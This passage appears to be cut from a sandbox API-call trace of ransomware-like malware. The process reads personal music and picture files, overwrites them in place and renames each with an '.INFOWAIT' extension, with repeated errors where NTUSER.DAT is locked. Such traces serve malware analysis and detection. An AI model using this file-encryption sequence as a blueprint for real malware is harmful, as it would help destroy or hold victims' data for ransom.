nNumberOfBytesToWrite=0xa9e4, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xa9e4, lpOverlapped=0x0) returned 1 [0120.596] CloseHandle (hObject=0xad0) returned 1 [0120.599] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y1mkaun.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y1mkaun.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y1mkaun.wav" [0120.599] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y1mkaun.wav", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y1mkaun.wav.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y1mkaun.wav.INFOWAIT" [0120.599] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y1mkaun.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y1mkaun.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y1mkaun.wav.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y1mkaun.wav.infowait")) returned 1 [0120.600] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.601] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.602] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.602] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y1w5ZZtxeCJCqVDGm8rd.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y1w5zztxecjcqvdgm8rd.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.602] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x16f49 [0120.602] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.602] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.603] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x16f49, lpOverlapped=0x0) returned 1 [0120.607] VirtualAlloc (lpAddress=0x0, dwSize=0x16f49, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0120.615] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.615] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x16f49, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x16f49, lpOverlapped=0x0) returned 1 [0120.616] CloseHandle (hObject=0xad0) returned 1 [0120.618] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y1w5ZZtxeCJCqVDGm8rd.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y1w5ZZtxeCJCqVDGm8rd.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y1w5ZZtxeCJCqVDGm8rd.wav" [0120.618] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y1w5ZZtxeCJCqVDGm8rd.wav", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y1w5ZZtxeCJCqVDGm8rd.wav.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y1w5ZZtxeCJCqVDGm8rd.wav.INFOWAIT" [0120.618] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y1w5ZZtxeCJCqVDGm8rd.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y1w5zztxecjcqvdgm8rd.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y1w5ZZtxeCJCqVDGm8rd.wav.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y1w5zztxecjcqvdgm8rd.wav.infowait")) returned 1 [0120.619] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.620] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.621] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.621] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_ERMKi.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_ermki.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.621] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa77 [0120.621] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.622] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.622] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xa77, lpOverlapped=0x0) returned 1 [0120.626] VirtualAlloc (lpAddress=0x0, dwSize=0xa77, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.626] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.626] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xa77, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xa77, lpOverlapped=0x0) returned 1 [0120.626] CloseHandle (hObject=0xad0) returned 1 [0120.629] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_ERMKi.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_ERMKi.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_ERMKi.m4a" [0120.629] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_ERMKi.m4a", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_ERMKi.m4a.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_ERMKi.m4a.INFOWAIT" [0120.629] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_ERMKi.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_ermki.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_ERMKi.m4a.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_ermki.m4a.infowait")) returned 1 [0120.630] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.631] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.631] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.631] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.632] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0120.632] GetLastError () returned 0x20 [0120.632] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0120.632] GetLastError () returned 0x20 [0120.632] lstrcpyW (in: lpString1=0x256fb40, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0120.632] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0120.632] lstrlenW (lpString="23") returned 2 [0120.632] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="32" | out: lpString1="CreateFile failed with error 32") returned="CreateFile failed with error 32" [0120.632] lstrcatW (in: lpString1="CreateFile failed with error 32", lpString2=": " | out: lpString1="CreateFile failed with error 32: ") returned="CreateFile failed with error 32: " [0120.632] lstrcatW (in: lpString1="CreateFile failed with error 32: ", lpString2="The process cannot access the file because it is being used by another process.\r\n" | out: lpString1="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n" [0120.632] lstrlenW (lpString="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned 114 [0120.632] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n" [0120.632] lstrlenW (lpString="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned 114 [0120.632] LocalFree (hMem=0x24b1940) returned 0x0 [0120.632] LocalFree (hMem=0x256fb40) returned 0x0 [0120.632] GetLastError () returned 0x20 [0120.633] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0120.633] GetLastError () returned 0x20 [0120.633] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0120.633] GetLastError () returned 0x20 [0120.633] lstrcpyW (in: lpString1=0x256fb40, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0120.633] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0120.633] lstrlenW (lpString="23") returned 2 [0120.633] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="32" | out: lpString1="CreateFile failed with error 32") returned="CreateFile failed with error 32" [0120.633] lstrcatW (in: lpString1="CreateFile failed with error 32", lpString2=": " | out: lpString1="CreateFile failed with error 32: ") returned="CreateFile failed with error 32: " [0120.633] lstrcatW (in: lpString1="CreateFile failed with error 32: ", lpString2="The process cannot access the file because it is being used by another process.\r\n" | out: lpString1="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n" [0120.633] lstrlenW (lpString="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned 114 [0120.633] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n" [0120.633] lstrlenW (lpString="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned 114 [0120.633] LocalFree (hMem=0x24b1940) returned 0x0 [0120.633] LocalFree (hMem=0x256fb40) returned 0x0 [0120.633] GetLastError () returned 0x20 [0120.634] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0120.634] GetLastError () returned 0x20 [0120.634] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0120.634] GetLastError () returned 0x20 [0120.634] lstrcpyW (in: lpString1=0x256fb40, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0120.634] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0120.634] lstrlenW (lpString="23") returned 2 [0120.634] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="32" | out: lpString1="CreateFile failed with error 32") returned="CreateFile failed with error 32" [0120.634] lstrcatW (in: lpString1="CreateFile failed with error 32", lpString2=": " | out: lpString1="CreateFile failed with error 32: ") returned="CreateFile failed with error 32: " [0120.634] lstrcatW (in: lpString1="CreateFile failed with error 32: ", lpString2="The process cannot access the file because it is being used by another process.\r\n" | out: lpString1="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n" [0120.634] lstrlenW (lpString="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned 114 [0120.634] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n" [0120.634] lstrlenW (lpString="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned 114 [0120.634] LocalFree (hMem=0x24b1940) returned 0x0 [0120.634] LocalFree (hMem=0x256fb40) returned 0x0 [0120.634] GetLastError () returned 0x20 [0120.634] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0120.635] GetLastError () returned 0x20 [0120.635] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0120.635] GetLastError () returned 0x20 [0120.635] lstrcpyW (in: lpString1=0x256fb40, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0120.635] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0120.635] lstrlenW (lpString="23") returned 2 [0120.635] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="32" | out: lpString1="CreateFile failed with error 32") returned="CreateFile failed with error 32" [0120.635] lstrcatW (in: lpString1="CreateFile failed with error 32", lpString2=": " | out: lpString1="CreateFile failed with error 32: ") returned="CreateFile failed with error 32: " [0120.635] lstrcatW (in: lpString1="CreateFile failed with error 32: ", lpString2="The process cannot access the file because it is being used by another process.\r\n" | out: lpString1="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n" [0120.635] lstrlenW (lpString="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned 114 [0120.635] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n" [0120.635] lstrlenW (lpString="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned 114 [0120.635] LocalFree (hMem=0x24b1940) returned 0x0 [0120.635] LocalFree (hMem=0x256fb40) returned 0x0 [0120.635] GetLastError () returned 0x20 [0120.635] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0120.635] GetLastError () returned 0x20 [0120.636] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0120.636] GetLastError () returned 0x20 [0120.636] lstrcpyW (in: lpString1=0x256fb40, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0120.636] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0120.636] lstrlenW (lpString="23") returned 2 [0120.636] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="32" | out: lpString1="CreateFile failed with error 32") returned="CreateFile failed with error 32" [0120.636] lstrcatW (in: lpString1="CreateFile failed with error 32", lpString2=": " | out: lpString1="CreateFile failed with error 32: ") returned="CreateFile failed with error 32: " [0120.636] lstrcatW (in: lpString1="CreateFile failed with error 32: ", lpString2="The process cannot access the file because it is being used by another process.\r\n" | out: lpString1="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n" [0120.636] lstrlenW (lpString="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned 114 [0120.636] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n" [0120.636] lstrlenW (lpString="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned 114 [0120.636] LocalFree (hMem=0x24b1940) returned 0x0 [0120.636] LocalFree (hMem=0x256fb40) returned 0x0 [0120.636] GetLastError () returned 0x20 [0120.636] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0120.636] GetLastError () returned 0x20 [0120.636] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0120.636] GetLastError () returned 0x20 [0120.636] lstrcpyW (in: lpString1=0x256fb40, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0120.636] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0120.637] lstrlenW (lpString="23") returned 2 [0120.637] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="32" | out: lpString1="CreateFile failed with error 32") returned="CreateFile failed with error 32" [0120.637] lstrcatW (in: lpString1="CreateFile failed with error 32", lpString2=": " | out: lpString1="CreateFile failed with error 32: ") returned="CreateFile failed with error 32: " [0120.637] lstrcatW (in: lpString1="CreateFile failed with error 32: ", lpString2="The process cannot access the file because it is being used by another process.\r\n" | out: lpString1="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n" [0120.637] lstrlenW (lpString="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned 114 [0120.637] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n" [0120.637] lstrlenW (lpString="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned 114 [0120.637] LocalFree (hMem=0x24b1940) returned 0x0 [0120.637] LocalFree (hMem=0x256fb40) returned 0x0 [0120.637] GetLastError () returned 0x20 [0120.640] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini" [0120.640] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini.INFOWAIT" [0120.640] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.ini.infowait")) returned 1 [0120.641] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.643] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.643] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.643] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-bVmT_XCtJmzFCE.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\-bvmt_xctjmzfce.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.645] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbc91 [0120.645] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.645] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.645] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xbc91, lpOverlapped=0x0) returned 1 [0120.649] VirtualAlloc (lpAddress=0x0, dwSize=0xbc91, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.653] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.653] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xbc91, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xbc91, lpOverlapped=0x0) returned 1 [0120.653] CloseHandle (hObject=0xad0) returned 1 [0120.658] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-bVmT_XCtJmzFCE.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-bVmT_XCtJmzFCE.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-bVmT_XCtJmzFCE.png" [0120.658] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-bVmT_XCtJmzFCE.png", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-bVmT_XCtJmzFCE.png.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-bVmT_XCtJmzFCE.png.INFOWAIT" [0120.658] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-bVmT_XCtJmzFCE.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\-bvmt_xctjmzfce.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-bVmT_XCtJmzFCE.png.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\-bvmt_xctjmzfce.png.infowait")) returned 1 [0120.659] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.660] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.661] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.661] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.661] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1f8 [0120.661] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.661] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.661] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1f8, lpOverlapped=0x0) returned 1 [0120.664] VirtualAlloc (lpAddress=0x0, dwSize=0x1f8, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.665] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.665] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1f8, lpOverlapped=0x0) returned 1 [0120.665] CloseHandle (hObject=0xad4) returned 1 [0120.666] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini" [0120.666] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini.INFOWAIT" [0120.666] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\desktop.ini.infowait")) returned 1 [0120.668] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.669] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.669] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.669] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\A3o-tRWcczzg.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\a3o-trwcczzg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.670] 